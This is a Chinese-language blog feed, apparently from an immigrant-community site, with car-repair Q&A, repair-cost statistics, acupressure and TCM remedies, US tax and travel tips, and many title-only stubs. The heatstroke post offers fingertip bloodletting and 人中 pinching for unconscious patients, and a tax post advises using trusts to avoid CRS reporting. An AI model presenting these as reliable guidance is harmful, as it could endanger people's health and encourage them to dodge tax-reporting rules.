专门设计用于电动汽车的变速箱将作为一种中介来帮助管理汽车的电力输送以及电池。这样可以在更长的时间内以更快的速度行驶，同时减少能源浪费。一般来说，电动汽车的电池最高可行驶250到310英里（402到498公里），但先进的传动设计可以帮助扩大这一范围。关键是要保持简单，并且可以使汽车在低速行驶时保持高效。

2019-09-18 / by happy1 / in 汽车, 汽车/房产/保险

汽车问答：汽车充电需断开电池吗？

问：我的车是2015 Nissan Murano，2015年4月买的，现在才开了3万多公里，就从今年5月换过机油以后一周开始，发现经常会在行驶中方向盘突然锁死2-3秒的情况，停车场低速发生，直行道路时速70多公里的时候也发生，包括左右转弯也曾发生过。锁死发生时，仪表盘上有一个方向盘形状感叹号的黄色灯会亮，2-3秒后一切正常，灯也就不亮了。我去Dealer那里检查了几次都查不出原因，甚至发生状况后直接开去Dealer那里不熄火，查code都找不到任何出错记录。请帮忙解答，谢谢！

答：方向盘突然锁死2-3秒，可能是助力转向泵（Power Steering Pump）那出了问题。或者转向泵的高压管道那有杂物导致堵塞。这个问题比较特殊，需要做进一步的查询。

问：给汽车电池充电时是否不需要断开电池？〈当初朋友教我的充电方法是断开电池正极〈+〉再充的，如果不用断开电池就容易多了。〉我的车〈2008的Honda飞渡〉不常开，也打算用NOCO充电器来维持电池。

答：充电不需要断开电池。

问：我原有一部丰田的Sienna Van。开了有20年了。我一直都是自己做Maintenance的。只能做如下一些工作，如换机油、检查或添加刹车油、方向盘油、Rotate Tires等等。

2018年刚刚买了一部Nissan Rogue SUV，我想继续自己换车机油等一些简单的Maintenance。车子的保养周期其是每8,000公里换一次机油。到行车的公里数较多时，我想保养的检查项目就多了自己会做不来。此时再去Dealer处做保养是否会较好的？

添加或更换水箱水时是否一定要和原来的颜色相同的？谢谢。

答：更换机油，添加方向盘油，刹车油都是可以自己做的。水箱水直接从Dealer那买原厂的，贵也贵不了多少，反正是5-6年才换一次。

2019-09-18 / by happy1 / in 其它

十种最常见的汽车维修

根据生产汽车维修和汽车维护诊断工具和软件的CarMD公司称，在美国，平均每次维修的花费为305.56美元，包括平均202.28美元的零件成本和103.27美元人工成本。

CarMD副总裁Art Jacobsen表示，虽然汽车制造商试图使新生产的汽车质量更高，故障更少，使用寿命更长，但同时也使汽车维修变得更加困难。

汽车制造商越来越想方设法垄断汽车维修业务，因此许多内置的诊断系统同时被设计成阻碍第三方维修。如果车主多多关注预防性维护，就可以避免很多花费不菲的维修。早些时候AAA的调查也显示有些车主根本就没有修车的预算。

文中的数据来自CarMD。这些数据基于170,000辆汽车维修记录。车主和技术人员将详细信息提交给1996年至2010年编制的公司诊断系统。

1）拆除售后警报系统
2010年维修百分比：1.96％
平均花费：75.85美元

这是车主自己整出来的麻烦。车主自行安装售后警报系统（或其他免提装置，汽车立体声音响等）后带来的问题。

当车主为他们的汽车添加东西，并连接到车内的电路上时，新添加的设备会增加电路载荷，从而导致已有的设备供电不足，并可能导致其他系统失败。

因此，为了使车上的原有系统正常工作，车主寻求机械师拆除自己安装的售后警报系统。

2）更换进气歧管垫圈
2010年维修百分比：2.05％
平均花费：326.74美元

进气歧管垫圈泄漏可导致空气或金属发动机部件之间的空气和燃料混合物泄漏，从而导致汽车燃油经济性，排放和发动机性能的更大问题。

不同的汽车品牌和款式，更换进气歧管垫圈难易程度也不同。一般来说，更换豪华汽车的进气歧管垫圈要比大众汽车复杂、困难，人工也高。

3）更换点火线圈
2010年维修百分比：2.58％
平均花费：213.16美元

点火线圈的基本作用是控制火花塞的点火时间和顺序。忽略它们的问题会严重损坏汽车的整个点火系统。确定点火线圈是否存在问题通常需要进行诊断测试。

更换点火线圈设计到电路系统，基本上都需要专业人员来完成。

4）更换发动机冷却液温度传感器
2010年维修百分比：2.65％
平均花费：132.62美元

汽车发动机冷却液温度传感器的功能就是事实检测冷却液的温度，并将数值显示到控制面板上。根据CarMD分析14年时间内的数据，这个器件发生问题并导致付费维修的频率属于最常见维修的第九名。

这个零件发生故障的机会不大，零件本身也很便宜，因此维修花费不高。

5）更换废气再循环阀

2010年维修百分比：2.85％
平均花费：288.19美元

排放系统中废气再循环阀的作用是负责将汽车废气的一部分再次送入发动机。
实际上，废气再循环阀发生故障并导致维修是CarMD数据统计中汽车故障的第四大原因。

6）更换火花塞
2010年维修百分比：3.71％
平均花费：311.40美元

另一个可能引起严重问题的小部件是火花塞，它负责点燃汽缸中的燃料。根据CarMD的说法，自行更换火花塞的成本不到10美元。然而，如果更换后的火花塞不能正常工作可能会减少你的汽油里程，或者损坏汽车上更昂贵的催化转换器。因此，由经过认证的机械师来做这项工作可能实际上更加合适。

7）更换空气质量流量传感器
2010年维修百分比：4.36％
平均花费：376.69美元
该传感器的作用是测量供应给发动机的空气量并确定应向其输送多少燃料。空气质量流量传感器发生故障，通常也表明汽车存在预防性维护问题。

这主要源于没有按时更换发动机的空气过滤器。更换空气过滤器材料加人工估计花费应该在25美元左右。然而，你可以看到上面的数字，更换空气质量流量传感器需要花费将近400美元。

8）更换催化转化器
2010年维修百分比：6.40％
平均花费：1,001.74美元
根据Jacobsen的说法，像更换催化转化器这样非常昂贵的修理永远不应该出现在这个名单中。这是因为负责控制车辆排放系统的催化转换器通常很少发生故障。只有在其他较小且廉价的相关部件（例如火花塞或燃料喷射器）发生故障而被忽略太久时才会导致失效。

9）油箱盖不能盖紧
2010年维修百分比：9.28％
平均费用：80美分

令人讨厌的“检查发动机”指示灯亮起，而油箱盖没有拧紧或松动或干脆丢失是最常见的原因。修理成本很低，因为你只需要在汽车配件商店买一个装上即可。但如果不及时处理，可能会导致车主金钱损失，因为这个问题可导致汽油里程减少0.5％。

CarMD估计，油箱盖丢失、损坏导致每年有1.47亿加仑的汽油挥发到大气中。

10）更换氧气传感器
2010年维修百分比：9.43％
平均花费：238.71美元

根据Jacobsen的说法，氧气传感器可以监测排气中未燃烧的氧气量，并告诉汽车上的计算机油箱中的汽油过多或者过少。这是一个可以自己动手修理的故障。

然而，制造商越来越多地在设计上采取一些措施，比如在传感器上安装一个特殊的盖子，使得自己动手维修变得非常困难。你需要一个非常特殊的工具才能打开这个盖子。这样，你就不得不到经销商那里去，因为他们有那个非卖品工具。

2019-09-18 / by happy1 / in 二手车, 汽车, 汽车/房产/保险

汽车问答：车怠速会抖动

问：车行进中在等红绿灯时会抖动，排档移到N 或 P时，车就很静，变速箱的Rubber Mounting 已换过，毛病仍在。这是为什么？

答：毛病与Rubber Mount无关。问题出在引擎的怠速控制阀。Idle Speed Control Valve。11年的运行那里可能有所积碳。建议清洗或更换这个控制阀。

问：我有一部Benz GLC300，我的问题是，当我不用车的时候，比如两个星期或者更久不开动，我应该如何保护汽车，特别是汽车电池？我应该使用Slow Charger？或者只是将电池的接线柱（+/-）断开？如果只是将接线柱断开，我应该断开负极-还是断开正极+或者两个都断开呢？将接线柱断开会不会影响汽车的零部件呢？因为现在大部分汽车的零部件都是电子化。
非常感谢您的时间。

答：建议直接用慢速充电器Trickle Charger。不需要断开电池接线。断开后反而会导致引擎的电脑无法短时间无法进行SMOG（废气排检）。得不偿失。

2019-09-18 / by happy1 / in 汽车, 汽车/房产/保险

你知道何时需要更换机油吗？

如果你驾驶汽车，你可能已经无数次地听到过这样的建议：确保你的车辆定期更换机油以保证发动机的使用寿命。

需要定期更换机油，是因为机油的使用寿命有限。老化、被污染或者含有金属屑的机油会损坏发动机内部的运动部件。润滑油的黏度也会由于老化和污染而降低，使其不能起到保护发动机零件的作用。

你可以自己在家里换油。但是，你忘记上一次换油的时间，你也不能确定下一次什么时间需要换油。你也可以到修车厂换油。那你就需要约时间，不得不在繁忙的日程中把车开到修车厂。

可问题是，你的汽车真的需要换机油吗？你是不是可以省下来这一趟到修车厂的旅程？事实是，你的机油实际上很好，并不一定需要每3,000英里（4,828公里）换一次。在这种情况下，如果你不去换油，你不仅节省了金钱、时间，你还减少了浪费和对环境造成的不必要的负担。

但是，你自己不确定是不是需要该换机油了，因为你不知道机油何时失效。好消息是，有一些汽车和卡车上，有一种装置，叫做机油质量监测仪，它可以告诉你何时需要更换机油。机油质量监测仪不仅基于行驶里程和时间，还基于影响油品质量的实际条件。

根据汽车制造商和所使用的特定设备，机油质量监测仪有两种基本类型：通过计算和直接测量。

基于算法的机油质量监测仪需要采集许多数据，然后将其代入公式中。通过复杂的计算，监测仪会告诉你机油是否正常，是否接近需要更换或需要立即更换。

有意思的是，这种类型的机油质量监测仪，并不通过传感器来检测机油本身的质量。相反，它只是根据你的行驶里程数，发动机的温度变化以及发动机的运行状况来得出计算结果。通常，机油质量监测仪（监控系统）从动力系控制模块（PCM）接收采集到的数据。工程师们已经找到了一种相当准确和可靠的方法来计算机油的剩余寿命，而无需实际对机油采样。

与上述方法相反，直接测量是使用传感器对机油进行采样，并根据以下面的任何一项指标确定其剩余寿命：

．电导率 – 电流通过油的容易程度（通常，电阻越低，油中的污染物越多）；
．机械特性 – 压电传感器可以通过它在周围晃动时产生的力反馈来判断油的黏度；
．含水率 – 水是油中的杂质，它会阻碍油的有效性并会腐蚀金属表面。

汽车制造商可以使用任何一种技术，或者两种技术的组合。通常，车辆仪表盘上将结果显示出来。可以显示颜色，比如绿色，黄色或红色状态栏，红色表示“马上更换机油”；它也可能显示一个百分比，例如“40％剩余油寿命”；或者它可能只是一个指示灯，指示灯亮时需要更换机油。

如果你的汽车没有这个功能，你是否应该在下次买车时在必备选项列表中添加机油质量监测仪？如果你的汽车有这个功能，你相信计算机的判断吗？

通用汽车公司估计，配备机油质量监测仪的汽车每年换油次数可能会减少两到三次。根据通用汽车的说法，如果道路上所有配备机油质量监测仪的汽车都根据监测仪的指示更换机油，而不是通常每3,000英里（4,828公里）换油一次，每年可能会减少1亿加仑的机油消耗。尽管如此，通用汽车仍然建议每年至少更换一次机油，无论你开了多少里程，检测仪有没有提醒。

2019-09-17 / by happy1 / in 二手车, 汽车, 汽车/房产/保险

年薪最高且失业率最低的十个大学专业

2019-09-17 / by happy1 / in 留学/教育/求职, 美国留学

汽车问答：如果要修，如何才可减低费用？

问：如果要修，如何才可减低费用？

2001 Acura MDX， 160,000 Miles。冷车发动时汽油味浓厚，低速行驶不顺畅，会有抖动的现象。上坡加速明显无力，必须要降一档。CEL没有亮，OBD II各项指标正常。AAA 检查后说触媒转换器锈蚀漏气，需要换整条排气管，不知道这种状况会不会影响排气检验？如果要修，如何才可减低费用？是否可以换上外厂的触媒转换器，再用抗高热的特殊绷带将漏气的排气管包上？

答：冷车发动汽油味浓厚一般表示燃烧不完全，原因可能来自传感器如MAF Sensor、O2 Sensor或喷油嘴Injector工作不正常。触媒转换器一般都是不銹钢打造，照道理不应该有腐蚀穿孔的问题。如果真的是有（AAA检查时可以拍照片的吧），可能转换器内部烧坏了。排气管本身可以更换，价格不贵（通常是镀锌铁管，很少用不銹钢的）。外厂的转换器可以使用，好像Magna的牌子比较普遍。更换转换器时通常会整个切下来，把漏气的切下来就可以了。绷带包着排气管可以，但是不要包到转换器那里，那里温度太高。

2019-09-17 / by happy1 / in 汽车, 汽车/房产/保险

汽车问答：下坡时引擎转速正常吗

问：下坡时引擎转速正常吗？

我的车是2015 Nissan Versa S Plus，里程 110,000左右。大概在100,000之后开始出现一个奇怪的故障，在回家的路上有一个较长的下坡路，路口有个红灯，在这个红灯刹车等红灯的时候，出现了引擎自动熄火，仪表盘出现引擎点火前的信号灯。只好再次启动，启动后没有任何故障信号，在这个地方出现了多次，但是在其他下坡地方刹车时，又没有这个地方。去Dealer那儿查了下，因为没有故障信息，给我说更新了电脑程序，应该修好了。结果没几天在那个地方刹车时，还是引擎自动熄火了。

因为没有故障码，感觉再去Dealer那儿检查也是花冤枉钱，所以上次检查后也没有再去其他其他地方检查了。最近在其他地方也偶尔出现这个现象，但是还是没有故障码。我想请教下李先生，引擎刹车后自动熄火而又没有故障码多是什么故障？需要怎样维修？

答：引擎自己熄火，但是又可以再次启动，多数是怠速控制阀Idle Speed Valve那里因积碳出了故障。需要清洗或更换。下次下坡时请注意引擎的转速是否正常。如果在下坡时偏低，也是一个症状。

2019-09-17 / by happy1 / in 汽车, 汽车/房产/保险

中暑按摩四个穴位可自救！

出现轻度中暑时，会有头晕、胸闷、恶心、口渴、烦躁、倦怠等症状，此时按摩如下四个穴位就可有效缓解。

出现轻度中暑时，如有头晕、恶心、倦怠等症状，可按摩大椎穴、合谷穴、内关穴和曲池穴四个穴位。（谈古论今话中医提供）

1. 大椎穴：位于颈后第七颈椎棘突下的凹陷里（低头时，可以摸到脖子后面隆起的骨头，大椎穴就在下方）。用手指掐按。

2. 合谷穴：位于虎口，食指所连接第二掌骨的中点，靠近拇指一侧的凹陷处。

3. 曲池穴：位于手肘横纹末端的凹窝处。

4. 内关穴：手放于桌面，手掌向上，内关穴就在两筋之间，从手腕横纹正中往手肘方向约三横指距离处。握拳时，两筋之间凹陷明显。

按摩这四个穴位时，会感觉到酸痛或非常疼痛；在穴位按摩过程中，能够恢复心脏跳动速度，帮助身体退热，使得中暑病情恢复。

重度中暑昏迷时，按人中、百会穴

当出现重度中暑，导致意识不清、昏迷的时候，此时最重要的穴位是人中穴。人中穴就是鼻子下方的凹沟，当手指尖用力从人中掐下去，病人会感到剧烈疼痛，立刻醒过来。

另外，重度中暑时还可以按百会穴。百会穴位于头顶正中间，是全身阳脉汇聚之处，用力揉按可缓解症状。

中医师在急救中暑昏迷的病人时，还可在十宣穴（十个手指尖）放点血，也可以达到快速解救的效果。我曾治疗一个中风昏迷的病人，也是用同样的方式，病人很快苏醒过来。

2019-09-17 / by happy1 / in 医疗健康

中医教你如何摆脱胃食道逆流

之所以胃会反酸，一般是由于胃功能不好，胃虚、胃寒而引起胃食道逆流。

在中医看来，胃里食物应该往下走，长期积在胃里不好，若往上逆行就更不好。更严重的情况是食物都下不去，停滞在里边。譬如打嗝的症状，原则上是吃太饱才会出现，但如果久病的人或老年人常打嗝，中医认为是“胃败”现象，就是胃已没什么功能，食物积着不消化，就会常刺激一下横隔膜造成打嗝，更严重就是呕吐、呕酸水等。

3招养胃，摆脱胃食道逆流

一、养胃的穴道

内关穴：临床上建议胃食道逆流者多按摩内关穴，只要跟心脏、胸部、胃有关的问题，都可按内关穴来调养。手放于桌面，手掌向上，内关穴就在两筋之间，从手腕横纹正中往手肘方向二吋、约三横指距离处。

神门穴：自律神经失调、常紧张、有压力或吃饭速度过快的人，容易不消化，按神门穴可使胃的下口幽门松弛一些，让食物快一点通过。神门穴位于腕部的腕掌横纹上，小指一侧的按压凹陷处。

上脘、中脘、下脘：分别对应胃的上口、中间和下口，当吃完饭感到肚子胀时，用手划圈揉肚子就会按摩到这些穴位，可帮助消化。对小孩子、老人家都有效。

另外，中医也可以通过艾灸穴位的方法，改善胃食道逆流。

五柱穴：位在肚脐上方的巨阙、中脘、下脘、左梁门、右梁门五个穴道的合称，意为升起人体健康的五根支柱。

足三里穴：胃经的穴道，俗话说，“身体若要安，三里莫要干”，就是可以常去灸足三里穴，灸到有点烧烫伤起水泡，便能持续刺激此穴道。

如果常吃药仍不断出现胃食道逆流，上述介绍的穴道都可去做按摩。

食疗养胃

中医很强调用粥来养生，主要因为粥有顾脾胃的作用。

“淮山芡实薏米粥”，适合脾胃虚弱型者，可常吃。

材料：淮山（山药）1两、芡实5钱、薏苡仁1两、小米或大米300公克。

做法：共煮成粥，芡实跟米煮熟后，分2到3次温食服用。

山药、芡实、薏苡仁、小米或大米，都是非常好的健脾养胃的食材。其中，芡实还可健肠，消瘦的人很适合食用；薏仁则有利水效果。

2019-09-17 / by happy1 / in 医疗健康

教你做四川水煮牛肉片

2019-09-17 / by happy1 / in 生活/美食/家居, 美食天地

台湾版卤水蛋五花肉

2019-09-17 / by happy1 / in 生活/美食/家居, 美食天地

让你流口水的糯米鸡

2019-09-17 / by happy1 / in 生活/美食/家居, 美食天地

好吃的台湾咸肉粽

2019-09-17 / by happy1 / in 生活/美食/家居, 美食天地

泰式美食：粉丝沙拉

泰式粉丝沙拉是我的最爱，它也将成为你家人这夏天的最爱，吃了之后保证会点燃每个人的笑容！

2019-09-17 / by happy1 / in 生活/美食/家居, 美食天地

异域美食：日式叉烧入口即化

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异域甜点：教你做泰式糯米芒果

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异域风味：教你做越南春卷

2019-09-17 / by happy1 / in 生活/美食/家居, 美食天地

麻婆豆腐的家常做法

2019-09-17 / by happy1 / in 生活/美食/家居, 美食天地

来美国须知：没绿卡也可能成为税务居民

随着中美两国的贸易政策的调整，两个国家都在全球征税，因此美国的税务专家也提醒华人朋友，夫妻中不长期住在美国且收入高的一方，最好先不要办绿卡。

鉴于目前美国的税收政策，尽可能所得低的，资产少的那个配偶一方来持有这个绿卡。所得高的、资产多的不经常住在美国。尤其中国的朋友你都可以拿到10年的签证，一次进来都可以停留6个月。”

很多华人朋友不知道，即使没有绿卡也可能会成为美国的税务居民。没有办绿卡，也要注意一下，你进来美国每年平均居住的天数也不能超过120天。如果超过120天，你3年这样折算出来也会变成美国的税务居民。

中国新的国际税务政策：持有中国护照同时又有美国绿卡的人，在CRS通报后，全世界的账户都要课税。你在全世界开的账户，比如，澳洲、加拿大、新加坡和香港这边所开的银行账户，现在都要通报回中国，中国未来将会依据这些资料来看看中国这些税务居民他在境外有多少银行账户、多少理财产品、多少保单，这部分都要变为中国来课税。

同时在中国负担了税务后，再拿到美国来抵扣。美国的税务专家建议，如果钱到美国，可以进到美国的信托：“美国的信托有规定，不用跟中国、台湾披露。可能未来有大部分资金想慢慢的逐渐来到美国的，来到美国公司也好、到个人账户也好，最好是能进到美国的信托账户。一方面会回避风险，回避CRS的通报，另一方面这个财产还可以传承到美国的下一代。

2019-09-17 / by happy1 / in 到美必看, 律师/移民/金融, 理财/报税, 移民生活, 美国新闻

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有递解令的人要做什么

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别再为信用分数低而发愁

2019-09-14 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

纽约必游之地–自由女神像

自由女神的英文名称是 Statue of Liberty，是法国为美国独立100周年送的贺礼，在巴黎建造完成后，分为350块，用船运到纽约，然后用了4个月时间拼接，最终于1886年10月28日成为纽约第一地标

自由女神像由基座和雕像两部分构成，全高92米，女神右手持火炬，象征 enlightenment （启蒙/照耀，雕像的官方名称是 Liberty Enlightening the World），火炬是铜制品，包了24K金；女神左手是一个本子，上面刻着罗马文 July IV MDCCLXXVI，翻译成英文是 July 4, 1776

自由女神像是用铜制作的，早期是棕黄色，被海风氧化了绿色

门票价格和购买方法

自由女神像位于曼哈顿旁的 Liberty Island 上，必须乘船才能到达，除了12月25日，全年开放。进入自由女神像所在的Liberty岛是免费的，但要花钱购买从曼哈顿出发的船票，

成人18美金，儿童9美金（4-12岁），老人（62岁+）14美金，支持纽约CityPass，可以便宜一点。

上岛后，进入自由女神像的基座参观免费，但数量有限，需要提前预订。登顶自由女神皇冠只要3美金，但建议提前3个月左右预订。

购买船票，以及进入基座/登上皇冠票的网址：http://www.statuecruises.com

现场也可以购买也可以，地点是在曼哈顿 Battery Park 的 Castle Clinton National Monument 售票厅，建议提前购买，省得浪费时间排大队。

交通路程

1. 前往曼哈顿最南端的 Battery Park ，如果从中央公园出发，乘坐地铁需要 30分钟，附近的地铁站有 Bowling Green (地铁绿色 Express 4/5车)，Whitehall Street (黄色 Local R车)，South Ferry （红色 Local 1车）

2. 到达 Battery Park后

如果你没买票，那么请去 Castle Clinton National Monument 的窗口买票，再去码头排队安检

如果你买的是普通票，那直接去码头排队安检，如果你买的是可以登皇冠的票，那必须去 Castle Clinton National Monument 换票，然后再排队安检。

订票后，你必须携带订单纸，护照，订票时的信用卡，在 Castle Clinton 现场换票（必须换票，打印的订单不可以），并且票不能转让，票上的姓名必须和护照持有人姓名一致

购票网址：http://www.statuecruises.com

船时刻表：https://www.statuecruises.com/departu…

3. 排队安检，旺季时人超级多，超级乱，带娃的人请三思，船有两层甲板，有卫生间，以及销售零食/饮料的柜台，坐船10分钟后即可到达自由女神像所在的 Liberty Island

可参观项目

如果只参观自由女神像，安排 2- 3 小时即可，如果参观自由女神像+爱丽丝岛（Ellis Island）那就需要 5 – 6 小时（主要是每次上船超级费时）

自由女神像所在的Liberty Island上有卫生间，草坪，纪念品店和餐厅，可以单纯的环岛散步

或者吃点东西，餐厅有销售咖啡/汉堡/热狗等，当然自己带吃的去野餐更划算，或者去纪念品商店，如果你订的是可以参观基座的票，那从如下入口进入，接受安检，你可能需要先花2美金存包（只接受现金），因为只能带小包/水/相机进入，背包，雨伞，婴儿推车，三脚架都不能带入。

到达 Liberty Island 岛后，按照 Crown access security check-point 的时间进入基座，准备登上自由女神皇冠。

注意：

1.2米高以上儿童才能参加

没有电梯，需要爬 363级台阶（相当于27层楼，一般需要爬20分钟），请自己评测身体状况

仅允许携带相机，钱包/食物/相机包等都必须寄存

储物柜费用为 2美金/2小时，大小为 33 cm. x 23 cm. x 30 cm，仅接受现金

内部没有空调，所以冬季要多穿些，夏季要带水

爱丽丝岛

爱丽丝岛占地 27.5 公顷，1892年-1924年间，曾是美国最大的移民海关，共有 1200 万移民从这里进入美国，于1954年结束使用，废弃了30多年后，1990年时，被改造成了现在的博物馆

博物馆Ellis Island Immigration Museum，官网：https://www.nps.gov/elis/index.htm

博物馆有3层，免费参观，除了博物馆，岛上还有卫生间/野餐桌/餐厅/纪念品商店等设施。

住宿

3星：Hilton Garden Inn NYC Financial Center/Manhattan Downtown希尔顿花园酒店/ The Wall Street Inn华尔街旅馆

4星：DoubleTree by Hilton NYC – Financial Distric NYC金融区希尔顿双树酒店

2019-09-14 / by happy1 / in GMAT/GRE, 律师/移民/金融, 留学/教育/求职, 移民生活

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胃癌主凶原来是它！

胃癌主凶原来是它！发病率超高，预防注意这几点

胃癌是世界上死亡率第四高的癌症。导致胃癌的原因有很多，感染幽门螺旋杆菌、吃腌渍和烟熏食物、吸烟、患有慢性萎缩性胃炎、恶性贫血或是曾做过胃切除手术，都会增加胃癌风险。其中，幽门螺旋杆菌是胃癌的主要风险因子。

2019-09-06 / by happy1 / in 医疗健康, 肠胃科/儿科/家庭医生

在美国的这些地方拥有房产是最幸福的！

在美国对房主来说最好的城市：

1. 海厄利亚（Hialeah），佛罗里达州，房价中位数：286,300美元，州收入所得税税率：0%，有效房产税率（物业税）：0.513%，房地产税中位数：1,469美元

2. 圣彼得堡（St. Petersburg），佛罗里达州，房价中位数：216,400美元，州收入所得税税率：0%，有效房产税率：0.647%，房地产税中位数：1,401美元

3. 北拉斯维加斯（North Las Vegas），内华达州，房价中位数：261,500美元，州收入所得税税率：0%，有效房产税率：0.529%，房地产税中位数：1,383美元

弗里蒙特（Fremont），加州，泽西市（Jersey City），新泽西州，坦帕市（Tampa），佛罗里达州，里诺（Reno），内华达州，拉斯维加斯，内华达州，达拉斯，德州，盐湖城，犹他州，也都可以考虑。

美国最便宜的海边城镇

1. 新泽西州大西洋城（Atlantic City, New Jersey），中位数房价：129,950万美元，中位数租金：1,274美元

2. 佛罗里达州代托纳比奇（Daytona Beach, Florida），中位数房价：159,900美元，中位数租金：1,201美元

3. 佛罗里达州皮尔斯堡（Fort Pierce, Florida）中位数房价：210,000美元，中位数租金：1,260美元

俄勒冈州库斯湾，佛罗里达州可可比奇市，佛罗里达州南代托纳，康涅狄格州新伦敦，也都可以考虑。

选择退休后居住的最佳地

1. 弗林特（Flint），密歇根州，房价中位数：19,200美元

弗林特是密歇根州中部的主要城市，位于底特律西北约66英里处。根据2010年美国人口普查，它的人口为102,434。

2. 蒙特祖玛（Montezuma），印第安纳州，房价中位数：20,900美元

蒙特祖玛位于印第安纳州的Wabash河沿岸，印第安纳波利斯以西约70英里处。据该镇网站信息，该镇约有1,100名居民。

3. 米兰（Milan），密苏里州，房价中位数：22,100美元

米兰位于密苏里州的苏利文县，2018年7月的人口为1,802人。

4. 厄灵顿（Earlington），肯塔基州，房价中位数：25,900美元

厄灵顿位于肯塔基州霍普金斯（Hopkins）县，根据2010年美国人口普查，这是一个人口为1,413的小镇。其生活成本比美国平均水平低约29%。

5. 楠纳利（Nunnelly），田纳西州，房价中位数：26,400美元，楠纳利位于田纳西州西部，距离森特维尔（Centerville）以北约5英里。

另外，康姆斯（Commerce），俄克拉荷马州，纳欧玛（Naoma），西弗吉尼亚州，社会山（Society Hill），南卡罗来纳州，南蒂-格洛（Nanty-Glo），宾夕法尼亚州，琼斯伯勒（Jonesboro），路易斯安那州，也都可以考虑。

2019-09-06 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

提升睡眠品质的8种营养素

2019-09-06 / by happy1 / in 医疗健康

全美六大「超市」食品大比拼，原来这家最实惠

2019-09-05 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

在美国纽约如何交水电费？

2019-09-05 / by happy1 / in 律师/移民/金融, 移民生活

这些常用的商品和服务

2019-09-05 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

还在机场免税店爆买？你可能上当了！

2019-09-05 / by happy1 / in 其它

美国热门景点攻略之旧金山渔人码头

2019-09-05 / by happy1 / in 律师/移民/金融, 移民生活

美国热门景点攻略之纽约自由广场

2019-09-05 / by happy1 / in 律师/移民/金融, 移民生活

在亚马逊购物哪六类商品最省钱

2019-09-05 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

这9种食品在Costco买好吃又最省钱

2019-09-05 / by happy1 / in 律师/移民/金融, 移民生活

睡眠不好怎么办？

2019-09-05 / by happy1 / in 医疗健康

容易中毒的食物

2019-09-01 / by happy1 / in 医疗健康

使用“免费Wi Fi”不想被骇 10件事要注意

2019-09-01 / by happy1 / in 其它

美国新移民必备常识

2019-09-01 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

美国新移民必备常识之交水电费

2019-09-01 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

美国最优惠的超市

2019-09-01 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

容易中毒的６种常见食物

2019-08-30 / by happy1 / in 医疗健康

使用“免费Wi-Fi”不想被骇 10件事要注意

2019-08-30 / by happy1 / in 律师/移民/金融, 移民生活

在美国如何正确填写支票

2019-08-29 / by happy1 / in 律师/移民/金融, 移民生活

在纽约必吃的美食你都知道吗？

2019-08-29 / by happy1 / in 律师/移民/金融, 移民生活

美国热门景点攻略

2019-08-29 / by happy1 / in 律师/移民/金融, 移民生活

教你如何您安心度过冬季

每年检测暖气炉，让系统运行更顺畅高效

缺乏每年一次定期维护和检修的暖气系统，会造成零件的过度磨损和脱落。这样会导致整个暖气系统的严重故障。只需要每年一次的定期检查，就可延长您的暖气系统寿命，而且从长远来看系可以悭得更多。

实际上，在秋冬之前对系统进行一次简单的维护，不仅可以确保整个系统保持高效能和运转自如，而且仲可以延长其使用寿命及更加安全。定期的检查还有助于防患于未然，避免小毛病引起大损失。建议大家每年进行一次暖气系统检修，具体的好处有：

提升系统供暖效能

让您安心度过冬季

每年的夏末或秋初，在寒冷天气和大问题到来之前，就是最好的时机。

2019-08-28 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

美国这些大学免学费

美大学费难负担？这些学院免学费

美国知名私立大学目前公布的学费标准平均为一年7万~8万美元，这个数字让不少人捏把汗。然而，美国大学理事会公布的数据显示，多数国内生在获得奖学金、助学金或学生贷款后，实际支付的费用是学费标准的一半左右。国际生在取得优良成绩后，也会得到数量不小的奖学金。

另外，美国也有一些大学对符合条件的学生，可以免部分或全部学费。

奥沙克学院（College of the Ozarks）

深泉学院（Deep Springs College）

美国空军学院（U.S. Air Force Academy）

美国海岸警卫队学院（U.S. Coast Guard Academy）

美国商船学院（U.S. Merchant Marine Academy）

美国军事学院——西点军校（U.S. Military Academy – West Point）

美国海军学院（U.S. Naval Academy）

2019-08-28 / by happy1 / in 律师/移民/金融, 留学/教育/求职, 移民生活, 美国大学, 美国新闻, 美国留学

美国热门景点攻略

2019-08-28 / by happy1 / in 律师/移民/金融, 移民生活

美国搬家如何省钱又省力？

2019-08-26 / by happy1 / in 律师/移民/金融, 汽车/房产/保险, 生活/美食/家居, 移民生活, 美国新闻, 装修/搬家

美国热门景点攻略

2019-08-26 / by happy1 / in 其它

五岁的女孩希瑟不幸患上癌症⋯⋯结局大逆转

2019-08-26 / by happy1 / in 医疗健康

简单几步，教你做养肝茶

2019-08-26 / by happy1 / in 医疗健康

爱因斯坦如果晚生20年，可能会多活很久

2019-08-26 / by happy1 / in 医疗健康

适合糖尿病患者的菜谱

2019-08-26 / by happy1 / in 医疗健康

帝王的养生之道

2019-08-26 / by happy1 / in 医疗健康

10个坏习惯让你加速老化

2019-08-26 / by happy1 / in 医疗健康

教你识别哪些是有毒的日常用品

2019-08-26 / by happy1 / in 其它

教你如何用茶道养生

2019-08-26 / by happy1 / in 医疗健康

教你正确姿势和运动方法，远离关节酸痛

2019-08-26 / by happy1 / in 医疗健康

面对催泪弹要怎么保护自己避免更大的伤害

2019-08-26 / by happy1 / in 其它

如何警惕「沉默杀手」胰脏癌？

2019-08-26 / by happy1 / in 医疗健康

10个坏习惯让你加速老化

2019-08-26 / by happy1 / in 医疗健康

打坐成为主流新疗法

2019-08-26 / by happy1 / in 医疗健康

癌症常识

2019-08-26 / by happy1 / in 医疗健康

夏日減肥指南！

2019-08-26 / by happy1 / in 医疗健康

经常起床时头痛小心脑瘤在作祟

2019-08-26 / by happy1 / in 医疗健康

中医对女性的养生秘诀

中医对女性的养生保健、疾病治疗都有独到见解，如月经不调、不孕不育症、更年期不适.. 以及在特殊生理期如何保养和饮食调理等等方面常见的困扰问题。

2019-08-26 / by happy1 / in 医疗健康

在Costco买衣服很实惠事先需了解5件事

1. Costco拥有自己的服装系列
2. 服装加价上限为15%
3. Costco没有试衣间
4. Costco秘密：寻找97美分结尾的商品
5. Costco每年服装销售额为70亿美元

2019-08-25 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

美国热门景点攻略

